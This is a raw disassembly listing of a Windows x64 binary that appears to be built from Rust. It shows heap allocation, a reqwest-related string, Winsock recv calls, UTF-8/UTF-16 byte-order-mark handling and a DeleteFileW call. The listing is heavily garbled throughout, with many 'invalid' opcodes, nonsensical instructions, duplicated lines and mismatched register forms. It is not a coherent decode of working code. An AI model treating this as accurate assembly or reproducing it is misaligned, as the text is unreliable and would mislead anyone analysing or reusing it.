sal dword [rbp - 0x23], 0x48
jne case.0x140007c11.215
lea rax, [0x1401ea7e0]
lea eax, [0x1401ea7e0]
sbb eax, 0x44894800
and al, 0x20
invalid
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rax - 0x73], cl
or eax, 0x1dd4d6
invalid
invalid
lea rcx, str.base64_is_always_valid_HeaderValueC:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.22_srcutil.rs
lea ecx, str.base64_is_always_valid_HeaderValueC:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823_reqwest_0.11.22_srcutil.rs
sbb eax, 0xd8d4c00
invalid
lea r9, method..virtual_32
or eax, 0x1d84ea
test byte [0xc38e1e99], bl
add byte [rbp + rcx*4 - 0x7d], cl
lea r8, [rbx + 0x2f0]
lea eax, [rbx + 0x2f0]
lock add al, byte [rax]
add byte [rdx + 0x22], bh
mov edx, 0x22
mov edx, 0x22
call fcn.14016f5f0
and rdx, qword [r14]
add byte [rdi], cl
ud2
test rsi, rsi
je 0x14000d314
js 0x14000f20f
ud2
test rsi, rsi
je 0x14000d314
js 0x14000f20f
js 0x14000f20f
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000d2d9
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f216
mov rcx, rax
mov qword [0x140221370], rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f216
mov r14, rax
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
test r14b, 1
jne 0x14000d321
mov rdi, r14
or rdi, 1
lea r15, [0x1401ba018]
jmp 0x14000d32b
lea r14, method..virtual_32
xor edi, edi
xor esi, esi
jmp 0x14000d32b
lea r15, [0x1401ba030]
mov rdi, r14
mov eax, dword [rbx + 0x380]
mov ecx, dword [rbx + 0x383]
mov dword [rbx + 0x200], eax
mov dword [rbx + 0x203], ecx
cmp qword [rbx + 0x800], 0
je 0x14000d363
mov r8, qword [rbx + 0x808]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbx + 0xaa0], 0
je 0x14000d383
mov r8, qword [rbx + 0xaa8]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rbx + 0x240], r14
mov qword [rbx + 0x248], rsi
mov qword [rbx + 0x250], rdi
mov qword [rbx + 0x258], r15
mov byte [rbx + 0x260], 1
mov eax, dword [rbx + 0x200]
mov ecx, dword [rbx + 0x203]
mov dword [rbx + 0x261], eax
mov dword [rbx + 0x264], ecx
cmp dword [rbx + 0xe78], 2
jne 0x14000d3f9
lea rdi, [rbx + 0x250]
lea rcx, [rbx + 0xc30]
lea rdx, [rbx + 0xd80]
mov r8d, 0x150
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rdi
mov rdx, r14
mov r8, rsi
call qword [r15 + reloc.WS2_32.dll_recv]
jmp 0x140009dd4
lea rcx, [rbx + 0xd98]
movups xmm0, xmmword [0x1401e95f8]
movaps xmmword [rbx + 0x1c0], xmm0
movdqu xmm0, xmmword [reloc.WS2_32.dll_recv]
movdqa xmmword [rbx + 0x1b0], xmm0
mov qword [rbx + 0x380], r14
mov qword [rbx + 0x388], rsi
mov qword [rbx + 0x390], rdi
mov qword [rbx + 0x398], r15
mov byte [rbx + 0x3a0], 1
mov eax, dword [rbx + 0x200]
mov edx, dword [rbx + 0x203]
mov dword [rbx + 0x3a1], eax
mov dword [rbx + 0x3a4], edx
lea rdx, [rbx + 0x1b0]
lea r8, [rbx + 0x380]
call fcn.14011ef30
lea rcx, [rbx + 0xc30]
lea rdx, [rbx + 0xd80]
jmp 0x140009dc9
xor ecx, ecx
jmp case.0x140007c11.247
mov r14d, 1
jmp case.0x140007c11.238
mov eax, 0x40
shr rax, 3
add rax, 8
add r14, rax
mov r12, qword [rbx + 0xc0]
sub r12, r14
jne 0x14000d519
cmp qword [rbx + 0xc0], 0
add byte [rax], al
add byte [rax], al
je 0x14000d539
mov r14, qword [rbx + 0xd8]
mov r15, qword [rbx + 0x118]
add byte [rbx + rcx*4 - 0x45], cl
sbb byte [rcx], al
add byte [rax], al
mov rsi, qword [rbx + 0xe8]
js 0x14000f20f
invalid
cmp al, 0x1d
add byte [rax], al
mov byte [rbx - 0x74b80000], bh
or eax, 0x213e96
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000d4f8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
adc eax, 0x168b4b
test rax, rax
je 0x14000f6d4
mov rcx, rax
mov qword [0x140221370], rax
ror dword [rax - 0x77], 5
js 0x14000d534
and dword [rax], eax
xor edx, edx
mov r8, qword [rbx + 0xc0]
add eax, 0
add byte [rax], al
invalid
add eax, 0
add byte [rax], al
invalid
add bh, bh
adc eax, 0x168b31
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f6d4
invalid
add byte [rax - 0x75], cl
mov ebx, 0xc0
mov rdi, qword [rbx + 0xc0]
jmp 0x14000d555
movzx ecx, byte [r15 + 0x10]
mov al, 9
or dword [rax - 0x73], ecx
adc eax, 0x41c1
or dword [rax - 0x73], ecx
adc eax, 0x41c1
movsxd rsi, dword [rdx + rcx*4]
add rsi, rdx
jmp rsi
invalid
out 0xb0, al
add dh, byte [rcx]
leave
mov al, 2
xor ecx, ecx
jmp case.0x14000d52e.12
mov eax, 1
xor edi, edi
dec dword [rbx + rcx*4 - 0x4d]
fadd dword [rax]
add byte [rax], al
invalid
dec dword [rbx + rcx*4 - 0x4d]
fadd dword [rax]
add byte [rax], al
invalid
add byte [rbx + rcx*4 - 0x45], cl
sbb byte [rcx], al
add byte [rax], al
mov r15, qword [rbx + 0x118]
mov rsi, qword [rbx + 0xe8]
mov qword [rbx + 0x100], rax
mov rcx, rax
ror dword [rax - 0x75], 0x93
enter 0, 0
ror dword [rax - 0x75], 0x93
enter 0, 0
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add byte [rax - 0x77], cl
mov ebx, 0xd0
rol byte [rax], 1
add byte [rax], al
mov qword [rbx + 0xd0], rdi
rol byte [rax], 1
add byte [rax], al
jmp 0x14000de73
add byte [rcx - 0x75], cl
sbb byte [r9], r14b
sbb byte [rcx], dh
mov rcx, qword [r15 + 0x18]
sbb byte [rcx], dh
xor eax, eax
jmp case.0x14000d52e.12
invalid
shr bl, 0x3d
cmp eax, 0x31883c7
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov dword [rbx + 0x318], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rbx + 0x310], 0
adc dword [rax], 3
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov al, 1
xor ecx, ecx
jmp case.0x14000d52e.12
mov al, 3
jmp case.0x14000d52e.12
mov al, 4
jmp case.0x14000d52e.12
mov al, 5
jmp case.0x14000d52e.12
mov al, 6
jmp case.0x14000d52e.12
mov al, 7
jmp case.0x14000d52e.12
mov al, 8
jmp case.0x14000d52e.12
mov al, 0xa
mov dl, 1
jmp case.0x14000d52e.12
mov al, 0xa
xor edx, edx
mov qword [rbx + 0x8a0], r15
mov byte [rbx + 0x880], al
mov dword [rbx + 0x881], 0
invalid
add byte [rax + 0x88083], cl
add bh, al
add dword [rcx + 8], 0
add byte [rax], al
invalid
add dh, al
add dword [rbp + 8], 0xffffff88
xchg ebx, eax
xchg byte [rax], cl
add byte [rax], al
mov byte [rbx + 0x885], 0
mov byte [rbx + 0x886], dl
mov byte [rbx + 0x887], 0
mov qword [rbx + 0x888], rcx
mov rax, qword [rbx + 0x310]
xchg dword [rax], ecx
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, dword [rax + 0x48000008]
mov eax, dword [rbx + 0x310]
mov qword [rbx + 0x890], rax
mov eax, dword [rbx + 0x318]
mov dword [rbx + 0x898], eax
mov word [rbx + 0x89c], 0xbf80
mov byte [rbx + 0x8a8], 9
lea rcx, [rbx + 0x880]
mov rdx, r12
call fcn.1400623d0
cmp rax, 1
sete al
add rdx, r14
setae sil
and sil, al
cmp sil, 1
mov rdi, qword [rbx + 0xc0]
jne 0x14000d66b
mov r15d, 1
cmp rdx, 2
jb 0x14000d66b
dec rdx
bsr rcx, rdx
xor ecx, 0x3f
mov r15, 0xffffffffffffffff
shr r15, cl
inc r15
lea rcx, [rbx + 0x880]
mov rdx, r12
loop 0x14000d65e
test byte [rsi + 5], 0
loop 0x14000d65e
test byte [rsi + 5], 0
cmp rax, 1
jne 0x14000d685
add rdx, r14
jae case.0x14001099d.211
invalid
invalid
test sil, sil
jne 0x14000d6b2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_84c898d65adf2f39a5a98507f1fe0ce10a2b8dbclibrarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823encoding_rs_0.8.33_srclib.rs
enter 0x1987, 0
enter 0x1987, 0
mov edx, 0x2b
call fcn.14016f3d0
ud2
cmp r15, rdx
cmovae r15, rdx
test sil, sil
cmove r15, rdx
test r15, r15
je 0x14000d700
js 0x14000f20f
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000d6de
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000d6f1
mov rcx, rax
mov qword [0x140221370], rax
mov dword [0x140221370], eax
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
jne 0x14000d705
mov edx, 1
add byte [rax], al
mov rcx, r15
call fcn.14016c090
ud2
mov esi, 1
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov rdx, qword [rbx + 0xc8]
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
fist word [0x1af10ca1a]
add dword [rax + 0xf000008], 0x10
adc byte [rbx + 0x890], cl
fist word [0x1af10ca1a]
add dword [rax + 0xf000008], 0x10
adc byte [rbx + 0x890], cl
movups xmm2, xmmword [rbx + 0x8a0]
adc byte [rbx + 0x890], cl
add byte [rax], al
movups xmm2, xmmword [rbx + 0x8a0]
movaps xmmword [rbx + 0xc50], xmm2
movaps xmmword [rbx + 0xc40], xmm1
push rax
or al, 0
add byte [rdi], cl
sub dword [rbx + 0xc40], ecx
movdqa xmmword [rbx + 0xc30], xmm0
movaps xmmword [rbx + 0x8a0], xmm2
or al, 0
add byte [rdi], cl
sub dword [rbx + 0x8a0], edx
movaps xmmword [rbx + 0x890], xmm1
movdqa xmmword [rbx + 0x880], xmm0
mov qword [rbx + 0x800], r15
add byte [rsi + 0xf], ah
jg 0x14000d6d8
or byte [rax], 0
add byte [rcx + rcx*4 - 0x45], cl
add byte [rax], cl
add byte [rax], al
mov qword [rbx + 0x808], rsi
mov qword [rbx + 0x810], r14
cmp rdi, r14
jb 0x14000de35
pxor xmm6, xmm6
lea r15, [0x14001171c]
mov rdx, r14
mov rsi, qword [rbx + 0x800]
mov rcx, qword [rbx + 0x810]
mov qword [rbx + 0xd0], rsi
sub rsi, rcx
jb 0x14000f3a9
sub rdi, rdx
mov rax, qword [rbx + 0xc8]
mov qword [rbx + 0x108], rdx
add byte [rax], al
add byte [rax], al
add rax, rdx
mov qword [rbx + 0xa8], rax
mov rax, qword [rbx + 0x808]
mov qword [rbx + 0x100], rax
mov qword [rbx + 0x120], rcx
lea rdx, [rax + rcx]
xor r14d, r14d
xor r13d, r13d
mov qword [rbx + 0xb0], rsi
mov qword [rbx + 0xb8], rdi
mov ebx, 0xb8
mov ebx, 0xb8
mov qword [rbx + 0xe0], rdx
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov r10, rsi
sub r10, r13
jb 0x14000eef9
mov rax, qword [rbx + 0xa8]
lea r8, [rax + r14]
sub dword [rax + 0x4e000000], 0xffffff8d
add al, 0x30
lea rcx, [rdx + r13]
mov r9, rdi
sub cl, byte [rcx - 0x77]
stc
movzx eax, byte [rbx + 0x8a8]
add byte [rax], al
mov qword [rbx + 0xa0], r14
sub r9, r14
int1
movabs al, byte [0x2f75f1294d000000]
int1
jne 0x14000d860
mov eax, eax
lea rdx, [0x140011748]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
xor r12d, r12d
jmp rax
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r10
xor byte [rcx + rcx*4 + 0x54], cl
and al, 0x28
mov qword [rsp + 0x20], rcx
mov byte [rsp + 0x38], 0xef
and al, 0x38
out dx, eax
and al, 0x38
out dx, eax
jmp 0x14000d950
add byte [rax], al
add byte [rax - 0x78fb9cb7], dl
movsxd rax, dword [r15 + rax*4]
add rax, r15
mov rsi, rcx
mov cl, 9
movzx edx, cl
mov cl, 7
movzx r11d, cl
movzx ebx, cl
movzx ebx, cl
mov cl, 6
movzx r14d, cl
mov cl, 4
movzx edi, cl
mov rcx, rsi
xor r12d, r12d
jmp rax
xor r9d, r9d
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], rcx
mov byte [rsp + 0x30], 1
lea rcx, [rbx + 0xc30]
lea rdx, [rbx + 0x880]
add byte [rax], al
call fcn.140062ca0
movzx eax, byte [rbx + 0xc38]
or al, 0
add byte [rax + rax*8 - 0x4f4c74b8], al
add byte [rax], al
add byte [rbx + rcx*4 - 0x4d], cl
invalid
add byte [rax], al
add byte [rbp + 7], dh
or al, 0
add byte [rax + rax*8 - 0x4f4c74b8], al
add byte [rax], al
add byte [rbx + rcx*4 - 0x4d], cl
movabs al, byte [0xa883c60775000000]
add byte [rax], al
add byte [rbp + 7], dh
invalid
invalid
invalid
add byte [rax], al
add byte [rbp + 7], dh
mov byte [rbx + 0x8a8], 0xa
or byte [rax], al
add byte [rdx], cl
movzx ecx, word [rbx + 0xc39]
mov rdx, qword [rbx + 0xc30]
add byte [rax - 0x75], cl
mov ebx, 0xc40
or al, 0
add byte [rax - 0x75], cl
xchg ebx, eax
xor byte [rax + rax], cl
add byte [rax - 0x75], cl
mov ebx, 0xc40
mov byte [rbx + 0x318], al
mov word [rbx + 0x319], cx
add byte [rax], al
add byte [rax], al
mov qword [rbx + 0x310], rdx
mov qword [rbx + 0x320], rdi
mov rdi, qword [rbx + 0xb8]
jmp 0x14000d97f
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], rcx
mov byte [rsp + 0x38], 0xbb
mov qword [rsp + 0x30], 0
lea rcx, [rbx + 0x310]
lea rdx, [rbx + 0x880]
xor r9d, r9d
jmp 0x14000d95e
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], rcx
mov byte [rsp + 0x38], 0xbb
mov qword [rsp + 0x30], 0
nop dword [rax]
lea rcx, [rbx + 0x310]
lea rdx, [rbx + 0x880]
call fcn.140062b20
mov rsi, qword [rbx + 0xb0]
mov rdi, qword [rbx + 0xb8]
mov r14, qword [rbx + 0xa0]
movzx eax, byte [rbx + 0x318]
mov rdx, qword [rbx + 0xe0]
add r14, qword [rbx + 0x310]
mov bl, reloc.WS2_32.dll_recv
add eax, dword [rax]
add byte [rbx + rax - 0x55], cl
and byte [rbx], al
add byte [rax], al
mov bl, reloc.WS2_32.dll_recv
add eax, dword [rax]
add byte [rbx + rax - 0x55], cl
and byte [rbx], al
add byte [rax], al
cmp al, 2
jb 0x14000ddb0
cmp r13, rsi
jae 0x14000ed75
invalid
add byte [rdx - 0x3a], al
add al, 0x2a
out dx, eax
mov byte [rdx + r13], 0xef
lea rcx, [r13 + 1]
cmp rcx, rsi
jae 0x14000ed81
adc eax, dword [rax]
invalid
adc eax, dword [rax]
add byte [rdx - 0x3a], al
sub r8b, byte [rcx]
mov byte [rdx + r13 + 1], 0xbf
lea rcx, [r13 + 2]
mov edi, 0x24d8d49
cmp rcx, rsi
jae 0x14000ed8a
mov byte [rdx + r13 + 2], 0xbd
add r13, 3
cmp r14, rdi
jbe 0x14000d800
jmp 0x14000ef0d
nop word cs:[rax + rax]
movzx eax, byte [r8]
cmp eax, 0xef
je 0x14000da40
cmp eax, 0xfe
je 0x14000da20
cmp eax, 0xff
jne case.default.0x14000da1a
push rdi
add byte [rax], al
add byte [rbp + 0x57], dh
push rdi
push rdi
mov byte [rbx + 0x8a8], 7
inc r12
movsxd rax, dword [r15 + r11*4]
invalid
add al, 0x9f
add rax, r15
jmp rax
invalid
mov byte [rbx + 0x8a8], 6
inc r12
movsxd rax, dword [r15 + r14*4]
add rax, r15
jmp rax
add byte [rax], al
invalid
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov byte [rbx + 0x8a8], 4
inc r12
movsxd rax, dword [r15 + rdi*4]
add rax, r15
jmp rax
mov byte [rbx + 0x8a8], 9
movsxd rax, dword [r15 + rdx*4]
invalid
add al, 0x97
add rax, r15
jmp rax
invalid
cmp r12, r9
jae case.default.0x14000da9a
cmp byte [r8 + r12], 0xbb
jne case.default.0x14000da9a
mov byte [rbx + 0x8a8], 5
inc r12
mov al, 5
movzx eax, al
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
cmp r12, r9
jae 0x14000daf9
cmp byte [r8 + r12], 0xfe
mov rsi, qword [rbx + 0xb0]
mov rdi, qword [rbx + 0xb8]
add byte [rax], al
add byte [rbx + rcx*4 - 0x4d], cl
invalid
add byte [rax], al
add byte [rbp + 0x55], dh
add byte [rax], al
add byte [rbx + rcx*4 - 0x4d], cl
movabs al, byte [0xa883c65575000000]
or byte [rax], al
add byte [rax], al
invalid
mov byte [rbx + 0x8a8], 9
add byte [rax], al
or dword [rcx - 1], ecx
invalid
inc r12
lea rax, str.UTF_16LE
cmp qword [rbx + 0x8a0], rax
invalid
or byte [rax], al
invalid
je 0x14000db2f
movabs al, byte [0x8389485874000008]
movabs al, byte [0x88283c766000008]
add byte [rax], al
add byte [rax], al
mov qword [rbx + 0x8a0], rax
mov word [rbx + 0x882], 0
mov byte [rbx + 0x884], 0
mov word [rbx + 0x886], 0
jmp 0x14000db28
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], rcx
mov byte [rsp + 0x38], 0xff
jmp 0x14000d950
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], rcx
mov byte [rsp + 0x38], 0xff
and al, 0x38
invalid
jmp 0x14000db9e
and al, 0x38
invalid
mov byte [rbx + 0x880], 0xa
add r8, r12
sub r9, r12
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], rcx
mov byte [rsp + 0x30], 1
lea rcx, [rbx + 0xc30]
lea rdx, [rbx + 0x880]
or byte [rax], 0
add al, ch
push r9
add eax, 0x83b60f00
add byte [rdi], cl
mov dh, 0x83
cmp byte [rax + rax], cl
invalid
test al, al
jne 0x14000db69
or byte [rax], 0
add al, ch
push r9
add eax, 0x83b60f00
add byte [rdi], cl
mov dh, 0x83
add byte [rdi], cl
mov dh, 0x83
cmp byte [rax + rax], cl
add byte [rax + rax*8 - 0x7c39f88b], al
test al, 8
add byte [rax], al
or cl, byte [rdi]
mov bh, 0x8b
cmp dword [rax + rax], ecx
add byte [rax - 0x75], cl
xchg ebx, eax
or al, 0
add byte [rbx + rax - 0x5d], cl
xor byte [rax + rax], cl
add byte [rax + 0x31883], cl
add byte [rax], al
invalid
invalid
mov ebx, dword [rcx]
add eax, dword [rax]
mov byte [rbx + 0x8a8], 0xa
movzx ecx, word [rbx + 0xc39]
mov rdx, qword [rbx + 0xc40]
add r12, qword [rbx + 0xc30]
mov byte [rbx + 0x318], al
add byte [rax], al
add byte [rax], al
mov word [rbx + 0x319], cx
mov qword [rbx + 0x310], r12
add byte [rcx + rcx*4 - 0x5d], cl
adc byte [rbx], al
add byte [rax], al
mov qword [rbx + 0x320], rdx
jmp 0x14000d97f
lea rcx, [rbx + 0x310]
lea rdx, [rbx + 0x880]
call fcn.140062b20
jmp 0x14000d978
invalid
dec dword [rbp + 0x39]
int3
cmp r12, r9
jae 0x14000dbed
cmp byte [r8 + r12], 0xff
mov rsi, qword [rbx + 0xb0]
mov rdi, qword [rbx + 0xb8]
mov r14, qword [rbx + 0xa0]
je 0x14000dc06
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], rcx
mov byte [rsp + 0x38], 0xfe
cmp dh, bh
cmp dh, bh
jmp 0x14000db9e
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], rcx
mov byte [rsp + 0x38], 0xfe
jmp 0x14000d950
mov byte [rbx + 0x8a8], 9
inc r12
lea rax, str.UTF_16BE
sbb dword [rax], eax
sbb dword [rax], eax
cmp qword [rbx + 0x8a0], rax
je 0x14000db2f
add byte [rdi], cl
test byte [rbx], cl
invalid
mov qword [rbx + 0x8a0], rax
mov word [rbx + 0x882], 0
mov byte [rbx + 0x884], 0
mov word [rbx + 0x886], 1
jmp 0x14000db28
cmp r12, r9
jae 0x14000dcb6
cmp byte [r8 + r12], 0xbf
mov rsi, qword [rbx + 0xb0]
mov rdi, qword [rbx + 0xb8]
mov r14, qword [rbx + 0xa0]
jne 0x14000dcdd
mov byte [rbx + 0x8a8], 9
inc r12
lea rax, str.UTF_8
cmp qword [rbx + 0x8a0], rax
je 0x14000db2f
mov qword [rbx + 0x8a0], rax
lea rax, [rbx + 0x888]
movdqu xmmword [rax], xmm6
mov dword [rax + 0x10], 0
mov word [rbx + 0x89c], 0xbf80
cmp byte [rdi + 0x88083c6], 0
add byte [rcx], al
cmp byte [rdi + 0x88083c6], 0
add byte [rcx], al
jmp 0x14000db2f
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], rcx
lea rcx, [rbx + 0x310]
lea rdx, [rbx + 0x880]
call fcn.140069c90
jmp 0x14000d963
invalid
dec dword [rcx + rcx*4 + 0x64]
and al, 0x30
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r10
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x20], ecx
lea rcx, [rbx + 0x310]
lea rdx, [rbx + 0x880]
call fcn.140069c90
jmp 0x14000d978
cmp byte [r8], 0xff
je case.default.0x14000dd24
mov byte [rbx + 0x8a8], 9
movsxd rax, dword [r15 + rdx*4]
test al, 8
add byte [rax], al
or dword [rcx + 0x63], ecx
add al, 0x97
add rax, r15
jmp rax
mov byte [rbx + 0x8a8], 7
inc r12
movsxd rax, dword [r15 + r11*4]
add rax, r15
jmp rax
add byte [rax], al
add byte [rax], al
cmp byte [r8], 0xfe
jne case.default.0x14000dd67
mov byte [rbx + 0x8a8], 6
inc r12
movsxd rax, dword [r15 + r14*4]
add rax, r15
jmp rax
mov byte [rbx + 0x8a8], 9
movsxd rax, dword [r15 + rdx*4]
add rax, r15
jmp rax
cmp byte [r8], 0xef
jne case.default.0x14000dd97
mov byte [rbx + 0x8a8], 4
inc r12
movsxd rax, dword [r15 + rdi*4]
add rax, r15
jmp rax
mov byte [rbx + 0x8a8], 9
movsxd rax, dword [r15 + rdx*4]
add rax, r15
jmp rax
add r13, qword [rbx + 0x120]
add byte [rax], al
mov qword [rbx + 0x810], r13
test al, al
je 0x14000de57
add r14, qword [rbx + 0x108]
mov rdx, qword [rbx + 0xc0]
sub rdx, r14
lea rcx, [rbx + 0x880]
call fcn.140062570
test rax, rax
je 0x14000f559
invalid
add byte [rax], al
invalid
mov r8, rdx
mov rax, qword [rbx + 0xd0]
sub rax, r13
cmp rax, rdx
jb 0x14000de13
mov rdx, r14
mov rdi, qword [rbx + 0xc0]
cmp rdi, r14
jae 0x14000d785
jmp 0x14000de35
lea rcx, [rbx + 0x800]
mov rdx, r13
call fcn.14016c4c0
mov rdx, r14
mov rdi, qword [rbx + 0xc0]
cmp rdi, r14
jae 0x14000d785
lea r8, str.C:UsersUser.cargo_registry_srcgithub.com_1ecc6299db9ec823encoding_rs_0.8.33_srclib.rs
mov rcx, r14
mov rdx, rdi
call fcn.14016f3b0
ud2
add r13, qword [rbx + 0x120]
mov qword [rbx + 0x810], r13
mov r13, qword [rbx + 0xf8]
mov r14, qword [rbx + 0xd8]
mov r15, qword [rbx + 0x118]
mov rsi, qword [rbx + 0xe8]
lea rcx, [rbx + 0x1c0]
mov rdx, qword [rbx + 0xf0]
mov r8, rsi
call qword [r15 + reloc.WS2_32.dll_recv]
cmp dword [rbx + 0x3a0], 2
jne 0x14000dea1
mov r15, qword [rbx + 0xd0]
mov rcx, qword [rbx + 0x100]
jmp 0x14000df07
cmp byte [rbx + 0x380], 0
mov r15, qword [rbx + 0xd0]
je 0x14000ded1
cmp qword [rbx + 0x388], 0
je 0x14000ded1
mov r8, qword [rbx + 0x390]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
invalid
invalid
cmp dword [rbx + 0x3b8], 1
mov rcx, qword [rbx + 0x100]
jne 0x14000df07
cmp qword [rbx + 0x3c8], 0
je 0x14000df07
mov r8, qword [rbx + 0x3d0]
mov rsi, rcx
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x168124
add eax, dword [rax]
add byte [rax - 0x77], cl
invalid
adc eax, 0x168124
mov rcx, rsi
mov rdi, r15
test rcx, rcx
jne case.0x140007c11.247
xor ecx, ecx
mov r15, rdi
mov rsi, rcx
mov rcx, qword [rbx + 0xa70]
mov rax, qword [rbx + 0xa78]
invalid
mov eax, dword [rbx + 0xa78]
add bh, bh
push rax
sbb byte [rax - 0x7b], cl
div byte [rbp + rcx + 0x48]
mov eax, esi
call qword [rax + 0x18]
test rsi, rsi
je 0x14000df3a
mov rax, rsi
test r14, r14
jne 0x14000dfa6
invalid
jno 0x14000df1f
jmp 0x14000dfba
add byte [rax], 0
add byte [rbp - 0x7b], cl
push qword [rbp + 0x60]
test r15, r15
jne 0x14000df9f
mov rcx, qword [0x140221370]
and dword [rax], eax
test rcx, rcx
jne 0x14000df64
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f82f
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, WSAStartup
add byte [rax], al
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f82f
sbb byte [rax], al
invalid
sbb byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov r15, rax
mov qword [rax], 1
lea rax, method..virtual_32
cld
pop rdx
sbb eax, 0x47894900
or byte [rcx - 0x39], al
sub byte [r10], r8b
add byte [rax], al
invalid
cld
pop rdx
sbb eax, 0x47894900
or byte [rcx - 0x39], al
sub byte [r10], r8b
add byte [rax], al
add byte [rsi + 0x41], ah
mov word [r15 + 0x68], 5
xor eax, eax
mov word [r15 + 0x68], 5
xor eax, eax
test r14, r14
je 0x14000dfba
lock dec qword [r14]
jne 0x14000dfba
mov rsi, rax
mov rcx, r14
call fcn.1401319e0
mov rax, rsi
test rax, rax
je 0x14000e427
test r13, r13
mov qword [rbx + 0x100], rax
mov dword [rbx + 0x100], eax
mov dword [rbx + 0x100], eax
je 0x14000e018
js 0x14000f20f
mov rcx, qword [0x140221370]
or eax, 0x213394
test rcx, rcx
jne 0x14000dff6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000e009
invalid
sbb eax, 0x48c18948
mov dword [0x140221370], eax
mov rcx, rax
mov qword [0x140221370], rax
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x14000e01e
mov edx, 1
mov rcx, r13
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], cl
call fcn.14016c090
ud2
mov r14d, 1
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov rdx, qword [rbx + 0x138]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + 0x380]
mov rdx, r14
mov r8, r13
call fcn.140144190
mov rsi, qword [rbx + 0x380]
mov rdi, qword [rbx + 0x388]
mov r12, r15
test rdi, rdi
je 0x14000e08b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x14000e406
xor r15d, r15d
test rsi, rsi
mov esi, 0
je 0x14000e08b
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, r15
test r13, r13
je 0x14000e0a2
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rsi, rsi
mov r14, qword [rbx + 0x228]
je 0x14000e100
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x14000e100
lea rdi, [rsi - 1]
mov rcx, qword [rsi - 1]
mov rax, qword [rsi + 7]
call qword [rax]
mov rax, qword [rsi + 7]
cmp qword [rax + 8], 0
je 0x14000e0ee
mov r8, qword [rdi]
cmp qword [rax + 0x10], 0x11
jb 0x14000e0df
mov r8, qword [r8 - 8]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r12, r12
mov rdi, qword [rbx + 0x7f0]
je 0x14000e122
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, qword [rbx + 0x100]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbx + 0x7f8]
lock dec qword [rcx]
jne 0x14000e134
call fcn.140004130
mov rcx, qword [rbx + 0xae8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r13, r13
